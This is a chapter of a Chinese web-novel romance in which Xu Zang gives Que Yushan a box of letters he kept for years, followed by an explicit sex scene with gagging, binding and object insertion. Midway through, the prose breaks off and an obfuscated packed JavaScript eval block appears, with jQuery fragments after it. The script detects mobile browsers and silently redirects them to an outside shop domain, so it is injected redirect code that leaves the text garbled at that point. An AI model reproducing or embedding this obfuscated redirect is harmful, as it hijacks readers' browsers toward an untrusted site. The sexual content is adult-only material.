许藏的三十三岁生日，因为纪录片的拍摄工作暂时搁置了。
向秋城电视台交付所有纪录片相关资料后，阙与山打算弥补许藏的生日，许藏也正有弥补他的意思，于是将在广播电台存下的五年年假一下子请了出来。
好在电视台纪录片项目组从中周旋，此次假期才如此顺利。
阙与山问许藏想去哪里的时候，许藏不假思索地回答苍城雪村，他说有一份积攒多年的礼物要送给阙与山。
两个人在五月中旬再次回到最开始的地方，出乎阙与山的意料，许藏居然对雪村轻车熟路，带着他在荒弃的村子里七拐八绕，来到了一处院子门口。
阙与山打量贴在门口的红色春联，褪色并不明显，推测应是有人常住于此。
只是，他每年过年时，回雪村时只觉得它萧条，从来没有碰到还住在这里的人。
许是看出了他的疑虑，许藏边敲门边解释道：“六年前冬天，我回国操办父母的丧事后，来到了雪村。没想到它竟被荒废了，整村搬走不知去处。仅剩李伯念旧，依然留守在此。”
“你六年前回来过？”阙与山怔愣地问道。
许藏背着他，点点头，感慨道：“十室九空，蜘蛛网哪里都是。阙与山，我和你唯一的联系，就在那时候断了。”
话音刚落，破旧的木门被人从内部拉开，发出刺耳的吱呦声音。
半头白发的人探了半个身体出来，看到许藏后彻底拉开了门，苍老的声音响起：“你来了？”
“李伯，我来取信。”许藏打了个招呼，带着阙与山跟李伯往院子里走，进了一个整齐的杂物间。
李伯将一个架子上放着的箱搬了出来，拍了拍顶上的灰，灰翳的眼睛在许藏和阙与山身上转了几次，最后是阙与山上前一步将箱子接了过来。
李伯几下便看明白了，了然地说道：“这些信是你寄给他的吧？”
阙与山抱着箱子不好动作，只能来得及惊讶地说道：“我？”
“嗯。”李伯看了看许藏，见他没有阻拦的意思，便做了个顺水人情，解释道，“小许曾说他有一个朋友在雪村住，因为这里荒废，他就找不到那位朋友了，只能每年不定期给朋友的地址寄信。
“可是这里早就没人了，自然没有人会收他的信。以前通讯很慢，联系只能仰仗书信，那么多封信如果在信箱里腐朽，尘封的情谊就永远没有再现之日，于是我代收起来，想着若是有朝一日，小许能够于茫茫人海中找到朋友，它们便不会被辜负。”
阙与山抱着箱子，和许藏一起，回了家。
箱子有些重量，打开后满满的都是信封，纷纷扬扬似雪一般。
阙与山不敢置信，这些竟然全都是许藏写给自己的，他甚至到现在脑子还是懵得，下意识地看向一旁的许藏，怔愣地问道：“许藏，这信……”
“国外的信飘向国内，太容易葬身大海。它们不会了，它们只会暂时隐匿。”许藏看着那一箱的信封，笑了笑，“阙与山，它们像我一样，想被你看见。”
阙与山傻傻地抓起几封，看到上面贴着不同风景的邮票，盖着迥异的火漆，没有写寄信人、也没有寄信地址，只有“阙与山收”几个字，像是许藏亲自到他家门口扔进信箱那般。
他随便拆开一封，展开信纸，熟悉的字体引入眼帘。
“亲爱的阙与山老师、最棒的摄影师先生
“展信安康，近日天气反复多变，及时关注，切勿生病。
“祝好，期待回复”
很短的几行字，甚至信件内容还不如加起来的敬语字数多，像是熟络的朋友在大街上偶然遇见时的客气话。
没有时间、没有署名，阙与山抿了下嘴，又连着拆了几封。
“亲爱的阙与山老师、最棒的摄影师先生
“见字如晤，听闻你即将踏上新的摄影之旅，由衷地表达我的喜悦和仰慕
“祝顺利，期待回复”
“亲爱的阙与山老师、最棒的摄影师先生
“久慕芳范，《破金》获奖之时，我为此松了一口气。若能闻名于众，想必你会快乐一点，过得轻松一些。
“祝长青，期待回复”
“亲爱的阙与山老师、最棒的摄影师先生
“久违芝宇，近来忧思过重，常常失眠，希望你能睡个好觉。
“祝舒颜，期待回复”
全是粉丝的口吻写下的信，阙与山猛地想起他和许藏一起参加双人采访时，许藏对他的摄影作品侃侃而谈，访谈者曾问许藏有没有给他寄过手写信，彼时许藏笑而不语。
那个未尽的答案，阙与山在这个箱子里找到了答案。
信封似雪，里面的思念也像雪，与雪村的雪一起，落在了阙与山的家门口。
阙与山看了好久，打破沉默问出了一个困扰已久的问题：“许藏，我的寄信地址是公开的，既然是手写信，为什么不直接填那个地址？”
许藏写下这些信的时候，曾想过，自己从阙与山籍籍无名的时候就开始寄信，概率会不会大一点。
后来阙与山因《破金》和《可怜星俱灭》先后得奖，他又想，寄的信多了，被回复的概率会不会大一点。
事实上，许藏知道，阙与山给出的寄信地址和苍城雪村不一样。
但是，他不想要别人的大摄影师，不想要自己的自尊寄给阙与山，被他可能存在的前任或是现任践踏，不想成为别人茶余饭后的谈资。
他只是，固执地想要自己的小狗。
所以，当许藏将数百封信投往雪村时，就注定被回复的概率只有两个结果。
零，或者百分百。
就像阙与山会珍重地存好那张写着“今日有雪，概率百分百”的纸条一样，许藏也想要从多如雪般的信件中，得到百分百的概率。
他要阙与山百分百属于自己。
“阙与山，我只要雪村的你。”许藏执拗地说道。
突然，那扇破窗被敲了几下，一个鼻子将它拱了起来，嘴巴松开，放下一朵小白花。
许藏看到后，走了几步，将窗子支了起来，看到了它的全貌，他惊奇地唤道：“敖乌？”
尽管它和许藏已经十四年未见，但就像它永远会在阙与山来时递上小白花一样，埋藏在深处的记忆被唤起时，它依然会呜咽地用鼻子在窗边的许藏周围嗅几下。
敖乌虽然行至晚年，快要走到生命尽头，但它的那双眼睛却格外地清亮。
许藏看了几眼，一下子回想起他第一次见到阙与山时的场景。
在阙与山家里撞见，其实是许藏见他的第二面，只是阙与山自己不知道。
十四年前，许藏跟随父母，趁着小雪时上山进了雪村。
他举着望远镜看向远处的落日和连绵的山脉时，镜头不经意间一转，落到了最近山顶上，一棵云杉旁站在一人一狼。
在落日的余晖照映下，其他皆黯然失色，唯独阙与山的眼睛很亮，浅灰蓝的眸色是那片橘红中，唯一的不同。
许藏承认自己当时一瞬间就被那双眼睛吸了进去，透过望远镜看阙与山时，就像希区柯克变焦一般，无论背景如何改变，主体永远被他注视着。
他没能得逞多久，因为阙与山好像敏锐地捕捉到了不怀好意的视线，蹙了蹙眉，和那头狼一起离开了山顶。
趁着父母拍摄的间隙，许藏快速地打听到了阙与山家在哪，而后带着父母借住到了阙与山的家中。
想到自己当年的居心叵测，许藏不免笑出了声，在敖乌的脑袋上拍了拍，等它走后转过身看向阙与山，煞有介事地说道：“我想起来，第一次来雪村时，看到一个很漂亮的小孩。”
阙与山正在捏着那朵小白花盯着看，闻言猛地抬起头，三两步将许藏挤在窗台前面，掐着他的下颌转向自己，将小白花别到许藏的发间，眯了眯眼睛：“谁？”
他这个字颇有咬牙切齿的味道，许藏忍了几下，脑袋微微后仰又被阙与山拦腰抓了回去，不免存了心思，逗他道：“嗯，我想想。
“他的头发脏脏的，衣服也脏脏的，但是脸长得还不错。”
事实上，十四年前，许藏借住的第一晚，他拿着毛巾沾了热水将阙与山的脸擦洗干净后，才偶然发现这个浅灰蓝色眼睛的小男孩长得还不错。
阙与山身上的醋味儿将许藏环了起来，他将许藏的两只手反在身后，俯身凑到他的领口处，埋进去张口在锁骨上的牙印处补了一下。
许藏痛得想要躲开，却又被禁锢在原地，不得不将谜底绕回来：“他的眼睛很漂亮，是浅灰蓝色的。”
阙与山的动作一顿，半张脸还埋在许藏的脖颈处，听到他的声音闷闷地传来：“阙与山，不要相信那些流言蜚语，你的眼睛很美。”
十四年前，许藏仅仅在雪村待了一个多月，就听到非常多有关于阙与山的污言秽语。
他当时揣着一包糖，出门打听时，不止是父母授意要跟他们搞好关系，方便熟悉雪村地形，更多的是了解阙与山的事情。
阙与山总是无声的、寂静的、孤独的，许藏想引他多说话，想让他将那些脏东西抛之脑后，想给他讲很多外面的世界，让阙与山对出去充满希望。
许是雪村阴天过多，将阙与山也染成了那样。
许藏不想让他被黯然失色的东西同化，想让他做光亮的余晖。
许藏伸手揉了揉阙与山的脑袋，看到角落的墙上还残存着当年他给阙与山量身高的刻画痕迹，不禁笑道：“你看，十四年前你还没有我高，看起来像只小狗，没想到还是长这么大了。
“阙与山，你有好好地长成大人，好好地被大家熟知。”
好好地成为余晖。
许藏从口袋里抓出一串东西，拎到了阙与山的面前，介绍道：“这是奖励你的礼物。”
那串东西碰撞在一起，发出空灵的声音，是阙与山熟悉得不能再熟悉的果木壳。
只是许藏手中的这串，个头更小一点，也就比大拇指大一圈，被绳子连接起来共有十颗，侧边都一条细小的缝。
许藏解释道：“时间匆忙，不能亲自上山给你找了，只能托人寻来一串，还没想好做什么装饰，难题留给你了。”
阙与山伸手取过那串新的果木壳，从许藏的下颌吻到嘴角：“我也有一份，晚了十年的礼物。”
他带着许藏找到了当年存放摄影照片的箱子，将它们展现给许藏，一张张地讲述，并许诺接下来的假期会带许藏去看。
许藏坐在床上，听阙与山讲得天花乱坠，突然打断他开口道：“阙与山，你想知道在玉琼雪林停电那晚，我说了什么吗？”
阙与山停顿了一下，将照片扔回了箱子里，踢到了一边，手撑在许藏两侧，问道：“说了什么？”
“阙与山，我想你。”许藏勾了勾嘴角，抓住他的领子往自己这边带，堵上了他想要说什么的唇。
纠缠间，衣服散落在床上，许藏还剩两件上衣时，被阙与山拽了起来，跌跌撞撞地被带向窗边的桌子旁。
阙与山吻得很凶，一只手拦着他的腰，另一只手不知在桌子里找什么。
好像有东西被拍到了桌子上，许藏的空气被汲取殆尽。
下一秒，阙与山松开了他，还没等他缓过劲，就被翻了个面，脊背临着滚烫的胸膛。
阙与山的手从后往前扣在许藏的肚子上，下巴凑在许藏的颈侧，喘着说道：“许藏，我十四年没收到你的信，你现在给我写，好不好？”
许藏还在因缺氧失神的时候，手中就被塞进了一根笔，桌子上摆着几张纸。
阙与山咬住了他的耳垂，哄骗道：“我帮你做点措施，不然会弄湿书信的。”
阙与山一手撩起许藏的衣摆，带着点强制意味地塞进许藏的口中，嘴上还不落下风：“不能说话，就不可以拒绝我了。”
他又从不知哪找来了一条系东西的麻绳，伴随着许藏的闷哼，捆在了他的前端。
许藏的手抖得厉害，半天写不出一封信的开头。
阙与山似乎在他的耳边笑了笑，警告道：“不能消极怠工，不然会有惩罚。”
阙与山的唇不停地在许藏的耳朵脸侧磨蹭，一双手比他还要忙，顺着被撩开的衣摆，用指腹揉着，掐上许藏的心口，随后满意地看到许藏的字写歪了。
他的另一只手，从绷得很紧的衣料中，慢慢地寻到了许藏肩头的那颗痣，抚摸着上面的印子。
几分钟过去，许藏被阙与山干扰得，连信件开头的“亲”字都没有写完。
阙与山叹了一口气，似乎很不满意许藏的不配合，又无可奈何地凑在许藏的耳畔道：“哥哥，看来不鞭策你，你是不会给我写信了。”
他从口袋里抓出那串刚刚收到的果木壳礼物，混着瓶子里的液体，将绳子上第一颗果木壳，缓缓地按进了雪中。
果木壳不仅形状不规律，引得许藏发颤，就连那条细缝都像是能随时取人性命、将人扔到它生长的山顶。
许藏感受到了它的厉害，指节泛白，握紧了手中的笔，摇了摇头，被汗沾湿的额发甩出几滴水珠落在纸上。
“怎么能把给我的信，弄湿呢？”阙与山好似生气般，将果木壳的位置往里推了推，按在了突兀的点上，接着又将绳子上的第二颗果木壳也推进雪里。
许藏克制地咬着衣摆，眼前好似看到了雪，那样洁白，看多了让人炫目失神，又像是置身在白日沙漠中，灼热得全是汗，差点抓不住笔。
他被堵住的口中，盛不住的涎水浸入了衣料中，被它吸纳。
阙与山美名其曰防止他感冒，实际上那只手在许藏的身前不断作恶，甚至向下，在前端绑着的麻绳附近不断扰乱，感受手中的东西如海绵吸水一般长大。
许藏艰难地将书信开头那句“亲爱的阙与山”几个字写下来时，那串果木壳，一根绳子上十颗小东西全被阙与山恶劣地放在了一起，挤压着难受的点。
阙与山还要到许藏的耳边炫耀自己的战绩，换着亲切的称呼凑近道：“宝宝，你好厉害，不仅写了这么多字，还吃下了十颗果木壳。”
雪似乎很深，阙与山将挤在一起的十颗果木壳分开，依次顺着往雪的里面推，不断地旋转它，听到许藏绷不住的声音后，才满意地调动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233902|197646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下一颗。
直到一整串果木壳都被调整到正确的位置，阙与山才缓缓地抽开手。
“许藏，你的水好多，我的手上全是。”阙与山将手指伸到许藏的眼前，让他看着，指节之间因水不断粘连，“好在信是干的。
“这么多的水，我帮你堵住吧，流失了对身体不好。”
许藏的笔还在写，准备等他将果木壳拿出来，没想到阙与山根本没有这个意思。
他急切地直接混着衣摆开口道：“阙与山！把它拿出……唔”
阙与山一只手捂上许藏嘴前的衣摆，堵住他的声音，身体前倾，哑着嗓子提醒道：“嘘，你的信还没写完。”
他的另一只手按在许藏的腹部，掌下能够清晰地感受到，它在战栗，它在害怕。
“宝宝，玉琼雪林那晚，你的第二句说了什么？”阙与山不断地按压许藏的肚子，身体严丝合缝地，更多地贴向许藏，“写下来，好不好？我想看到。
“你什么时候写完，我就什么时候把那串果木壳拿出来。”
眼看着许藏将笔捏得更紧，指节发白，阙与山忍不住笑了两声，不紧不慢地折磨他。
那串果木壳虽然被绳子连在一起，却好像总有自己的想法，不时地碰到一起，不再发出空灵的声音，而是有奇怪的水声。
它们在狭窄的空间，只能靠挤压着四壁，才能生存，更何况，还有一个东西在跟它们一起竞争。
十颗果木壳都没能打败那个东西，被推到角落里，团成一团，瑟瑟地发颤。
许藏将那句话写下来时，浑身上下出汗像是洗澡了一般。
阙与山看着纸上那句“我喜欢你”，非但没有信守承诺，反而凶狠地敲击那串果木壳，将雪里的空间不断地扩展。
这场单方面的欺负，持续了很长时间。
许藏只能后仰着，依靠阙与山的支撑才不会倒地，他的脑袋仰靠在阙与山的颈侧，闷哑的声音从衣摆团中发出，像是在向胜利者求饶：“前面……”
许藏的手，腿，还有前端，都在抖。
阙与山扣住他的脖子，大发慈悲地将那根捆在前端的麻绳解开扔在一边，随后按上许藏的肚子，侧过头哑着嗓子问：“感受到了吗？”
许藏几乎快要无意识，听到他这句话，但是总觉得那道声音很远，像是濒死过一次般，微微抽搐。
最后，阙与山抱着许藏去洗澡，桌子上只留下那张皱巴巴的信纸，边缘被白色的东西沾上。
果木壳掉落在地，被水冲刷着，细缝落出白色的东西。
许藏失焦的眼睛慢慢地缓了过来，看着面前的阙与山，哑不成声地道：“阙与山，我喜欢你。”
阙与山的手一顿，看向许藏的灰蓝色眸子蕴藏着风暴，他的声音低沉：“宝宝，怎么又勾我？”
“只是，仅仅写出来不够，没有说给你听。”许藏伸手抚摸阙与山的脸侧，指腹从他的眼皮往下描摹到嘴唇。
既然阙与山的耳朵不好，他以后要说很多遍，说到阙与山都记住，说到他做梦也会梦到，许藏在说我爱你。
就算他听不见，许藏也要写下来，就算他看不见，许藏也要让他触摸到。就算未来，他与自己天各一方，许藏也要托世间的雪，告诉他。
阙与山握住他的手，依恋地蹭了几下，缱绻地换了个称呼道：“知道了，老婆，我也爱你。”
后来的旅行中，阙与山收到了许藏的很多礼物。他突然想起来，两个人还没在一起时，许藏曾说过一句话。
他想不明白，于是转头问正在拍他的许藏，疑惑地道：“为什么我在玉琼雪林过生日的时候，想让你送我礼物，你却说‘我没有可以送你的了’？”
“因为……”许藏从口袋里抓出一张存储卡，光明正大地说，“当时，属于我们两个之间的回忆，仅剩这张存储卡。
他学着阙与山那样喊人：“老婆，如果把这个再送给你，我就一无所有了。”
“是老公。”阙与山纠正道。
许藏心安理得地应了一声：“嗯，老婆真乖。”
阙与山不跟他计较这些，将那张存储卡接了过来，仔细观察才发现，这正是他在玉琼雪林时丢的那张，属于他第一个相机的存储卡。
许藏在玉琼雪林的时候，经常用着那款相机拍照。
于是，阙与山不解地问：“你为什么要拿走一张存储卡？”
任谁看来，仅仅拿走一张存储卡，异常可笑。
可是在十四年前，别说一张存储卡的空间，许藏连一张照片的位置都求不到。
彼时，许藏的父母有四台相机，八张存储卡。
他拿起来在阙与山的面前捣鼓半天，在阙与山没有发现的时候给他拍了很多张照片。
最后，那些照片被父母强制删除，许藏在一旁苦苦哀求了半天，都没有撼动他们的心，也没能阻止删除键的按落。
他父母给的理由虽说委婉，但到底扎心，他们认为阙与山不配占有他们一张照片的空间。
是啊，那样有名的自然摄影师，连一张雪村里阙与山的照片都难以包容。
所以，尽管从他父母的电话联系到他的可能性更大，为了防止阙与山打通电话时听到一些伤心的话，许藏最终还是决定要寄信给阙与山。
从始至终，阙与山都是许藏一个人的事情。
许藏当年就想，想了很多年，如果他能拥有一张照片的空间、一张存储卡的容量，那里面只会是阙与山，只能有阙与山。
时至今日，许藏已经拥有完整的阙与山，却依然觉得自己因为缺失了那些照片，便像是缺席了阙与山的十六岁。
他没有回答这个问题，转而抛出另一句话：“阙与山，告诉你一个秘密。
“我不喜欢摄影，一点都不，从来都不。”
“你当年看到我拿相机，只是因为我想给你拍照，只是因为你。”
许藏接着又说：“还有在秋城广播大楼，给你说的那些扎心话。不喜欢摄影是真的，不想和你去赤霜河、不喜欢喝茶、不喜欢你给我的奶茶，都是假的。
“之前所有，和你有关的，都是气话，和你无关的，都是事实。”
年假结束后，许藏回到秋城广播大楼，继续做他的电台节目，讲他的恐怖故事。
阙与山就搬了自己的东西，强势入住到许藏的家里，晚上坐在沙发上听许藏的广播节目。
他要听着许藏的故事，直到接许藏下班。
阙与山将许藏拿走的那张存储卡连在笔记本上，一张张地看过去。
在玉琼雪林木屋杂物间，许藏抓拍他的照片。
木屋廊下，许藏从后拍下他凭栏杆的背影。
蹲守又一春的地方，许藏拍下漫天星辰和他。
日出时的他，小瀑布踩水的他，温泉时趴在岸边睡觉的他，睡觉时被系上素罗的他。
以及很多拍摄纪录片时的他。
恰在此时，许藏的声音从收音机里传来：“我向山灵呐喊祈祷，天边的日、夜间的星一同降下谕言。
“从此以后，每日都有雪，概率百分百。”